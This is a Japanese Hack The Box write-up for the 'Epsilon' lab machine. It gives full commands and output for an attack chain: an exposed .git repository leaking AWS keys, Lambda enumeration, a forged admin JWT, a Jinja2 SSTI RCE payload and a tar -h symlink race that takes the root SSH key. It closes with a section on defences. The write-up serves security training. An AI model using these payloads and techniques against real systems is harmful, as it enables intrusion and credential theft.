Hack The BoxのWriteup(Epsilon)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Epsilon — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80/5000
ffuf + git-dumper
.git/HEAD 露出 → AWS認証情報復元
AWS Lambda 列挙
costume_shop_v1 → APIGW secret漏洩
JWT偽造 → 認証バイパス
admin Cookie
SSTI RCE
/order costume パラメータ
tom シェル取得
user.txt ✓
backup.sh tar -h
symlink レース (5秒窓)
root.txt ✓
PHASE 1
  1. 偵察 (Reconnaissance)
    1. 全ポートスキャン → バージョン・スクリプトスキャン
    2. ポート80への直接アクセス — Forbidden
    3. ポート5000 — Costume Shop ログイン画面
  2. Git露出調査 — ffuf & git-dumper
    1. ffuf でポート80のファイル・ディレクトリを列挙
    2. git-dumper でリポジトリを復元
    3. server.py — Flask認証ロジック (secretはマスク済み)
    4. track_api_CR_148.py の現行版 — AWS認証情報もマスク済み
    5. git log で履歴を確認 → 最初のコミットに平文認証情報
  3. AWS Lambda 関数列挙 → APIGW secret 奪取
    1. awscli セットアップ (endpoint_url = カスタムLocalStack風エンドポイント)
    2. Lambda 関数一覧を取得
    3. get-function でコード配置場所(Code.Location)を取得
    4. Lambda コードをダウンロード → APIGW secret を発見
  4. JWT偽造 → 認証バイパス → SSTI発見
    1. Python で admin JWT Cookie を偽造
    2. 偽造Cookieで /home にアクセス — 認証バイパス成功
    3. /order の costume パラメータで SSTI を確認
  5. SSTI RCE 化 & user.txt 取得
    1. Jinja2 サンドボックス脱出ペイロードでRCE化
    2. user.txt 取得
  6. backup.sh の tar -h symlink レース → root.txt
    1. root cron ジョブ backup.sh の内容確認
    2. 5秒の競合窓を狙い checksum を root SSH秘密鍵へのsymlinkに差し替え
    3. 次回cron実行 (tar -h) を待ち、退避されたアーカイブから鍵を回収
    4. 回収した秘密鍵で root として SSH ログイン → root.txt
  7. 攻略サマリー & 教訓
    1. 取得フラグ
    2. 使用した脆弱性
    3. 攻撃チェーン全体の流れ
    4. 学んだ教訓 & 防御策

偵察 (Reconnaissance)

全ポートスキャン → バージョン・スクリプトスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.96.151
nmap -sV -sC -p 22,80,5000 10.129.96.151
RESULT
Nmap scan report for cloud.epsilon.htb (10.129.96.151)
Host is up (0.28s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp   open  http    Apache httpd 2.4.41
|_http-title: Did not follow redirect to http://cloud.epsilon.htb/403.html
|_http-server-header: Apache/2.4.41 (Ubuntu)
5000/tcp open  http    Werkzeug/2.0.2 Python/3.8.10
|_http-title: Costume Shop
Service Info: Host: 127.0.1.1; OS: Linux
ℹ️
Nmap のリダイレクト先 cloud.epsilon.htb が既に vhost 名を示唆している。 /etc/hosts10.129.96.151 cloud.epsilon.htb を追記しておく。

ポート80への直接アクセス — Forbidden

BASH
curl -s -I http://10.129.96.151/
RESULT
HTTP/1.1 403 Forbidden
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=iso-8859-1

ポート5000 — Costume Shop ログイン画面

NOTE
ブラウザで http://10.129.96.151:5000/ を開くと "Welcome to Epsilon Costume Shop!"
というログインフォームが表示される。admin/admin 等の総当たりや簡単な SQLi は失敗する。
PHASE 2

Git露出調査 — ffuf & git-dumper

ffuf でポート80のファイル・ディレクトリを列挙

BASH
ffuf -u http://10.129.96.151/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,301,302,403
RESULT
.git/HEAD                [Status: 200, Size: 23, Words: 2, Lines: 2]
🚨
重要発見: ポート80ルートに .git/HEAD が200で公開されている= Git リポジトリがそのままWebルートに露出しており、git-dumper で復元可能。

git-dumper でリポジトリを復元

BASH
pip3 install git-dumper
git-dumper http://10.129.96.151/.git ./repo
RESULT
[-] Testing http://10.129.96.151/.git/HEAD [200]
[-] Testing http://10.129.96.151/.git/ [403]
[-] Fetching common files
...
[-] Running git checkout .

$ ls -la repo/
server.py
track_api_CR_148.py

server.py — Flask認証ロジック (secretはマスク済み)

RESULT (server.py 抜粋)
secret = '<secret_key>'

@app.route("/order",methods=["GET","POST"])
def order():
	if verify_jwt(request.cookies.get('auth'),secret):
		if request.method=="POST":
			costume=request.form["costume"]
			message = '''
			Your order of "{}" has been placed successfully.
			'''.format(costume)
			tmpl=render_template_string(message,costume=costume)
			return render_template('order.html',message=tmpl)
⚠️
auth Cookie は jwt.encode({"username":"admin"}, secret, "HS256") で発行される。 secret の値さえ手に入れば admin として任意の JWT を偽造できる。 さらに /ordercostume パラメータが .format() で組み立てた文字列を render_template_string() に渡している —— SSTI の匂いが強い実装。

track_api_CR_148.py の現行版 — AWS認証情報もマスク済み

RESULT (現行版)
from boto3.session import Session

session = Session(
    aws_access_key_id='<aws_access_key_id>',
    aws_secret_access_key='<aws_secret_access_key>',
    region_name='us-east-1',
    endpoint_url='http://cloud.epsilon.htb')
aws_lambda = session.client('lambda')
ℹ️
現行版はマスク済みだが、git履歴には過去のコミットが残っている。 git log で全履歴を確認する。

git log で履歴を確認 → 最初のコミットに平文認証情報

BASH
git -C repo log --all --oneline
git -C repo show 7cf92a7a09e523c1c667d13847c9ba22464412f3
RESULT
c622771 Fixed Typo
b10dd06 Adding Costume Site
c514416 Updatig Tracking API
7cf92a7 Adding Tracking API Module   ← 最初のコミット

commit 7cf92a7a09e523c1c667d13847c9ba22464412f3
Author: root <root@epsilon.htb>

    Adding Tracking API Module

diff --git a/track_api_CR_148.py b/track_api_CR_148.py
new file mode 100644
+session = Session(
+    aws_access_key_id='AQLA5M37BDN6FJP76TDC',
+    aws_secret_access_key='OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A',
+    region_name='us-east-1',
+    endpoint_url='http://cloud.epsilong.htb')
🚨
重要発見: ファイル作成時点の最初のコミットに AWS認証情報が平文で 残っていた。後のコミット(“Updatig Tracking API”)でマスクされたが、Git履歴からは消えない。
Access Key: AQLA5M37BDN6FJP76TDC
Secret Key: OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A
⚠️
ハマりどころ: git log -p は新しいコミット順に表示されるため、 単純に「最初にマッチした行」を拾うと現行版のマスク済みプレースホルダ(<aws_access_key_id>) を実値と誤認してしまう。必ず最も古いコミット(diffの一番下)を確認すること。
PHASE 3

AWS Lambda 関数列挙 → APIGW secret 奪取

awscli セットアップ (endpoint_url = カスタムLocalStack風エンドポイント)

BASH
echo "10.129.96.151 cloud.epsilon.htb" | sudo tee -a /etc/hosts

# 注意: 通常の awscli v2 (apt版) だとカスタムエンドポイントで 500 エラーになることがある。
# PDF記載の動作確認済みバージョンを明示的にインストールする。
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64-2.23.6.zip" -o "awscliv2.zip"
unzip awscliv2.zip && sudo ./aws/install --update

aws configure
# AWS Access Key ID:     AQLA5M37BDN6FJP76TDC
# AWS Secret Access Key: OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A
# Default region name:   us-east-1

Lambda 関数一覧を取得

BASH
aws --endpoint-url=http://cloud.epsilon.htb lambda list-functions
RESULT
{
    "Functions": [
        {
            "FunctionName": "costume_shop_v1",
            "FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:costume_shop_v1",
            "Runtime": "python3.7",
            "Handler": "my-function.handler",
            "CodeSize": 478,
            "State": "Active"
        }
    ]
}

get-function でコード配置場所(Code.Location)を取得

BASH
aws --endpoint-url=http://cloud.epsilon.htb lambda get-function \
  --function-name=costume_shop_v1 | jq .Code.Location
RESULT
"http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code"

Lambda コードをダウンロード → APIGW secret を発見

BASH
wget "http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code" -O code.zip
unzip code.zip -d lambda_code
cat lambda_code/lambda_function.py
RESULT
import json

secret='RrXCv`mrNe!K!4+5`wYq' #apigateway authorization for CR-124

'''Beta release for tracking'''
def lambda_handler(event, context):
    try:
        id=event['queryStringParameters']['order_id']
        ...
🚨
重要発見: Lambda関数コード内にAPIGW認可用の secret がハードコードされている。 コメントを読むと「APIゲートウェイの認可用」だが、 server.py の Flask JWT実装と全く同じ secret が使い回されていることが後の検証で判明する。
PHASE 4

JWT偽造 → 認証バイパス → SSTI発見

Python で admin JWT Cookie を偽造

PYTHON
python3 -c "
import jwt
t = jwt.encode({'username':'admin'}, 'RrXCv\`mrNe!K!4+5\`wYq', algorithm='HS256')
print(t.decode() if isinstance(t, bytes) else t)
"
RESULT
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.WFYEm2-bZZxe2qpoAtRPBaoNekx-oOwueA80zzb3Rc4
⚠️
PyJWTはHMAC鍵長が32バイト未満だと InsecureKeyLengthWarning を標準エラーに出力する。 警告メッセージが標準出力の末尾行に紛れ込むと、単純に「出力の最終行」をトークンとして 取得するスクリプトでは 警告文をトークンと誤認してしまう事故が起きやすい。 eyJ で始まる3セグメントのJWT構造を正規表現で明示的に抽出するのが安全。

偽造Cookieで /home にアクセス — 認証バイパス成功

BASH
curl -s -b "auth=<forged_token>" http://10.129.96.151:5000/home
RESULT
<title>Costume Shop</title>
<li class="nav-btn"><button>Welcome Admin</button></li>
<h4>Welcome to Costume Shop!</h4>
認証バイパス成功! “Welcome Admin” が表示され、ログインフォームを一切使わずに 管理者としてアプリにアクセスできた。

/order の costume パラメータで SSTI を確認

BASH
curl -s -b "auth=<forged_token>" http://10.129.96.151:5000/order \
  --data-urlencode 'costume={{ 7*7 }}' \
  --data-urlencode 'q=1' --data-urlencode 'addr=test'
RESULT
Your order of "49" has been placed successfully.
🚨
SSTI (Server-Side Template Injection) 確認! {{ 7*7 }} がサーバー側で Jinja2 として評価され 49 が返された。costume パラメータは無害化されずに render_template_string() に渡されている。
PHASE 5

SSTI RCE 化 & user.txt 取得

Jinja2 サンドボックス脱出ペイロードでRCE化

NOTE
Flask/Jinja2 の定番サンドボックス脱出チェーン
  self._TemplateReference__context.namespace.__init__.__globals__.os
経由で os モジュールに到達し、popen() で任意コマンドを実行する。
レスポンス本文にコマンド出力がHTMLエスケープされて埋め込まれるため、
SSTISTART/SSTIEND のマーカーで囲んで正規表現で安全に切り出す。
コマンド自体は base64 化して echo|base64 -d|bash でデコード実行することで、
シングルクォートや特殊文字が popen('...') の呼び出し構文を壊さないようにする。
BASH (ヘルパー関数)
ssti() {
  local cmd="$1"
  local b64=$(echo -n "$cmd" | base64 -w0)
  local payload="{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('echo SSTISTART; echo ${b64}|base64 -d|bash; echo SSTIEND').read() }}"
  curl -s -b "auth=<forged_token>" http://10.129.96.151:5000/order \
    --data-urlencode "costume=$payload" \
    --data-urlencode "q=1" --data-urlencode "addr=test" \
    | grep -Pzo '(?<=SSTISTART\n).*(?=\nSSTIEND)'
}
ssti "id"
RESULT
uid=1000(tom) gid=1000(tom) groups=1000(tom)
RCE成功! SSTI経由で任意コマンド実行が可能になった。ユーザーは tom

user.txt 取得

BASH
ssti "cat /home/tom/user.txt"
RESULT
c9611ae11edef712d7ac5ef1c74e3ebd
user.txt — tom@epsilon
c9611ae11edef712d7ac5ef1c74e3ebd
PHASE 6

backup.sh の tar -h symlink レース → root.txt

root cron ジョブ backup.sh の内容確認

BASH
ssti "ls -la /usr/bin/backup.sh"
ssti "cat /usr/bin/backup.sh"
RESULT
-rwxr-xr-x 1 root root 362 Dec  1  2021 /usr/bin/backup.sh

#!/bin/bash
file=`date +%N`
/usr/bin/rm -rf /opt/backups/*
/usr/bin/tar -cvf "/opt/backups/$file.tar" /var/www/app/
sha1sum "/opt/backups/$file.tar" | cut -d ' ' -f1 > /opt/backups/checksum
sleep 5
check_file=`date +%N`
/usr/bin/tar -chvf "/var/backups/web_backups/${check_file}.tar" /opt/backups/checksum "/opt/backups/$file.tar"
/usr/bin/rm -rf /opt/backups/*
🚨
脆弱性: root権限のcron (毎分実行) が
/var/www/app/ をtar化 → sha1sumを checksum に保存
5秒スリープ
tar -hシンボリックリンクの実体を辿って圧縮)で checksumと1本目のtarを /var/backups/web_backups/ へ退避
という手順を踏む。-h フラグにより、②〜③の間に checksum をシンボリックリンクへ差し替えておけば、 リンク先の実ファイルがrootによってアーカイブされてしまう

5秒の競合窓を狙い checksum を root SSH秘密鍵へのsymlinkに差し替え

BASH
# checksum ファイルが存在する(=backup.sh が1本目のtar+sha1sum完了直後、
# 5秒sleep中)瞬間を捉え、即座にsymlinkへ差し替える
RACE_CMD="if [ -e /opt/backups/checksum ]; then \
  rm -f /opt/backups/checksum; \
  ln -sf /root/.ssh/id_rsa /opt/backups/checksum; \
  echo SYMLINKED; fi"

for i in $(seq 1 90); do
  OUT=$(ssti "$RACE_CMD")
  echo "$OUT" | grep -q SYMLINKED && { echo "[+] symlink placed (attempt #$i)"; break; }
  sleep 1.5
done
RESULT
[*] Polling for the 5-second checksum window...
[+] Symlink placed at attempt #17 (43s elapsed)
ℹ️
backup.sh は毎分実行のため、checksumが存在する5秒間を捉えるまで数十秒〜数分かかることがある。 SSTI RCE をステートレスなポーリングチャネルとして繰り返し叩くだけでよく、 逆シェルやリスナーを維持する必要はない。

次回cron実行 (tar -h) を待ち、退避されたアーカイブから鍵を回収

BASH
# symlink差し替え成功後、次のbackup.sh実行(2本目のtar -h)でsymlink先の
# id_rsaの中身がchecksumの"実体"としてアーカイブされる。
# /var/backups/web_backups/ の最新tarを展開してchecksum(=id_rsa)を回収する。
EXTRACT_CMD='LATEST=$(ls -t /var/backups/web_backups/ | head -1); \
  cp "/var/backups/web_backups/$LATEST" /tmp/x.tar && \
  tar -xf /tmp/x.tar -C /tmp && cat /tmp/opt/backups/checksum'

ssti "$EXTRACT_CMD"
RESULT
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEA1w26V2ovmMpeSCDauNqlsPHLtTP8dI8HuQ4yGY3joZ9zT1NoeIdF
<snip>
-----END OPENSSH PRIVATE KEY-----
root の SSH秘密鍵を回収成功! tar -h の symlink追跡挙動を利用して、 本来アクセスできない /root/.ssh/id_rsa の中身をrootプロセス自身に アーカイブさせることで持ち出した。

回収した秘密鍵で root として SSH ログイン → root.txt

BASH
chmod 600 root_id_rsa
ssh -i root_id_rsa root@10.129.96.151 "id; cat /root/root.txt"
RESULT
uid=0(root) gid=0(root) groups=0(root)
2d6bf9a811674b310756ad3666d6ab95
root.txt — root@epsilon
2d6bf9a811674b310756ad3666d6ab95
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — tom@epsilon
c9611ae11edef712d7ac5ef1c74e3ebd
root.txt — root@epsilon
2d6bf9a811674b310756ad3666d6ab95

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
Git リポジトリ露出 Apache (port 80, Webルート) ソースコード・履歴の漏洩 Medium ffuf で .git/HEAD を発見、git-dumper でリポジトリ全体を復元
Git履歴への機密情報混入 track_api_CR_148.py AWS認証情報の平文漏洩 High git log -p で最初のコミットに残る平文AWS認証情報を復元
シークレット使い回し AWS Lambda (costume_shop_v1) + Flask JWT 認証バイパス High Lambdaコード内のAPIGW secretがFlaskのJWT secretと同一 → admin Cookie偽造
SSTI (Jinja2) /order の costume パラメータ リモートコード実行 Critical render_template_string()への未サニタイズ入力、サンドボックス脱出チェーンでRCE
tar -h シンボリックリンク追跡 root cron /usr/bin/backup.sh 権限昇格 (root) Critical 5秒の競合窓中に checksum ファイルを root SSH秘密鍵へのsymlinkに差し替え、次回tar -h実行で実体を回収

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap 全ポート + バージョンスキャン22/80/5000、Costume Shop 検出
2Git露出ffuf + git-dumper + git log -pAWS認証情報 (AQLA5M37BDN6FJP76TDC/…)
3AWS Lambdaawscli list-functions/get-functionAPIGW/Flask共用JWT secret
4認証バイパス+SSTI発見JWT偽造 + {{7*7}}テストadmin Cookie、SSTI脆弱性確認
5RCE化Jinja2サンドボックス脱出 + base64ラップuser.txt 取得 (tom)
6権限昇格backup.sh tar -h symlinkレースroot.txt 取得(root SSH鍵経由)

学んだ教訓 & 防御策

問題点防御策
本番Webルートに .git ディレクトリがデプロイされていた デプロイパイプラインで .git を除外する。Webサーバー設定で .git への直接アクセスを拒否(<DirectoryMatch "\.git"> Require all denied </DirectoryMatch> 等)。
機密情報をコミットしてしまい、後で「マスク」しても履歴に残る 一度コミットした機密情報は git filter-repo 等で履歴ごと除去し、該当の鍵は必ずローテーションする。マスクは削除ではない。
複数サービス間でシークレットを使い回している(APIGW secret = Flask JWT secret) サービスごとに独立したシークレットを発行し、Secrets Manager等で一元管理・ローテーションする。
ユーザー入力を render_template_string() にそのまま渡すSSTI脆弱性 ユーザー制御下の文字列をテンプレートとして評価しない。固定テンプレート+変数バインディング(render_template('order.html', costume=costume))を使う。Jinja2のSandboxedEnvironmentも補助的に利用する。
root cronの tar -chvf がシンボリックリンクの実体を追跡し、TOCTOU競合が存在する -h フラグを使わない、または一時ファイルをroot以外が書き込めない専用ディレクトリに隔離する。バックアップ対象パスの所有者・シンボリックリンク有無を事前検証する。
HackTheBox: Epsilon | 完全攻略レポート